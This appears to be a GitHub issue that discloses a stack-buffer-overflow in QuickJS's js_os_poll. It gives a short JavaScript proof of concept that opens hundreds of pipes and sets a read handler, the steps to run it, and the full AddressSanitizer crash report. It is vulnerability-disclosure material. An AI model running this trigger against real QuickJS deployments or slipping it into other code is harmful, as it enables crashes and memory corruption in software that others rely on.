Skip to content

stack-buffer-overflow in js_os_poll #502

@7331akasokoan

Description

@7331akasokoan

POC:

import * as os from "os";
const v0 = [];
for (let v1 = 0; v1 < 512; v1++) {
    try {
        const v2 = os.pipe();
        v0.push(v2[0], v2[1]);
    } catch(v3) { break; }
}
os.setReadHandler(v0[v0.length - 2], function() {});
os.sleep(50);

Step:

  1. Build QuickJS with ASAN

  2. ./qjs --std ./poc.js

Crash:

=================================================================
==3206396==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7b4d297d2f00 at pc 0x55b552d995a0 bp 0x7ffef63ef510 sp 0x7ffef63ef508
READ of size 8 at 0x7b4d297d2f00 thread T0
    #0 0x55b552d9959f in js_os_poll /home/fuzz/quickjs/quickjs-libc.c:2575:13
    #1 0x55b552d93029 in js_std_loop /home/fuzz/quickjs/quickjs-libc.c:4268:30
    #2 0x55b552b8f608 in main /home/fuzz/quickjs/qjs.c:526:9
    #3 0x7f4d2b3a8d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #4 0x7f4d2b3a8e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #5 0x55b552aa7714 in _start (/home/fuzz/quickjs/qjs+0x59714)

Address 0x7b4d297d2f00 is located in stack of thread T0 at offset 256 in frame
    #0 0x55b552d9843f in js_os_poll /home/fuzz/quickjs/quickjs-libc.c:2511

  This frame has 6 object(s):
    [32, 48) 'buf' (line 2325)
    [64, 80) 'obj' (line 2357)
    [96, 112) 'ts' (line 2127)
    [128, 256) 'rfds' (line 2516) <== Memory access at offset 256 overflows this variable
    [288, 416) 'wfds' (line 2516)
    [448, 464) 'tv' (line 2519)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/fuzz/quickjs/quickjs-libc.c:2575:13 in js_os_poll
Shadow bytes around the buggy address:
  0x7b4d297d2c80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7b4d297d2d00: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7b4d297d2d80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7b4d297d2e00: f1 f1 f1 f1 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2
  0x7b4d297d2e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7b4d297d2f00:[f2]f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b4d297d2f80: 00 00 00 00 f2 f2 f2 f2 00 00 f3 f3 f3 f3 f3 f3
  0x7b4d297d3000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b4d297d3080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b4d297d3100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b4d297d3180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3206396==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions